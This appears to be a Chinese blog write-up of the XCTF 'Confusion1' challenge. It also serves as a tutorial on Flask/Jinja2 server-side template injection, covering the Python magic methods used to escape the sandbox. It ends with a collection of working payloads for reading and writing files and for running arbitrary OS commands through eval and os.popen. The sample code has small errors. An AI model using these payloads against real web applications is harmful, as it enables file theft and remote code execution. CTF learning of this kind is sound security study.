攻防世界 Confusion1 ssti漏洞系统讲解

  1. 攻防世界 Confusion1
  2. ssti漏洞
    1. 基础
    2. 命令执行漏洞
      1. 基础知识
      2. 文件包含

攻防世界 Confusion1

image-20220103171818134打开题目是这样

在题目描述中让我们不要使用扫描器,那我们就扫一下。

image-20220103171853624

发现flag.sql

随即访问

image-20220103171917930

一时没有找到什么身份伪造的办法,看看其他地方

在源代码中发现注释

image-20220103172004765

访问这个地址

image-20220103172026796

获得两个提示,先记录下来,访问上面的地址也访问不了,但是查看报错页面发现这个提示在报错页面同样有。

看了下wp

ssti漏洞

image-20220103175513573

tplmap没弄出来,用了大佬的payload,TVTVTVTVTVTVT

从零学习flask模板注入 - FreeBuf网络安全行业门户

随即学习一下模板注入

ssti漏洞

基础

先看一段代码

from flask import flask 
@app.route('/index/')
def hello_word():
    return 'hello word'

route装饰器的作用是将函数与url绑定起来。例子中的代码的作用就是当你访问http://127.0.0.1:5000/index的时候,flask会返回hello word。

渲染方法

flask的渲染方法有render_template和render_template_string两种。

render_template()是用来渲染一个指定的文件的。使用如下

return render_template('index.html')

render_template_string则是用来渲染一个字符串的。SSTI与这个方法密不可分。

使用方法如下

html = '<h1>This is index page</h1>'
return render_template_string(html)

命令执行漏洞

基础知识

在Jinja2模板引擎中,{{}}是变量包裹标识符。{{}}并不仅仅可以传递变量,还可以执行一些简单的表达式。

访问就可以看到flask中的全局变量和权限

文件包含

python的对象的继承来一步步实现文件读取和命令执行的

找到父类<type 'object'>–>寻找子类–>找关于命令执行或者文件操作的模块。

几个魔术方法

__class__  返回类型所属的对象
__mro__    返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__   返回该对象所继承的基类
// __base__和__mro__都是用来寻找基类的

__subclasses__   每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__  类的初始化方法
__globals__  对包含函数全局变量的字典的引用
__init__.func_globals.keys() 查看全局函数
.__init__.func_globals.values()[] 调用这个全局函数
__import__ 动态导入模块 
['eval']('__import__(%22os%22).popen(%22ls%22).read())
导入模块然后读取文件

(29条消息) SSTI模板注入_0verWatch的博客-CSDN博客_模板注入

(29条消息) 攻防世界Web_python_template_injection_MIGENGKING的博客-CSDN博客

简单!

常见payload收集

//获取基本类
''.__class__.__mro__[1]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
object

//读文件
().__class__.__bases__[0].__subclasses__()[40](r'C:\1.php').read()
object.__subclasses__()[40](r'C:\1.php').read()

//写文件
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')
object.__subclasses__()[40]('/var/www/html/input', 'w').write('123')

//执行任意命令

().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls").read()' )

object.__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls  /var/www/html").read()' )

% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='_IterationGuard' %}
{{ c.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()") }}
{% endif %}
{% endfor %}



转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。后续可能会有评论区,不过也可以在github联系我。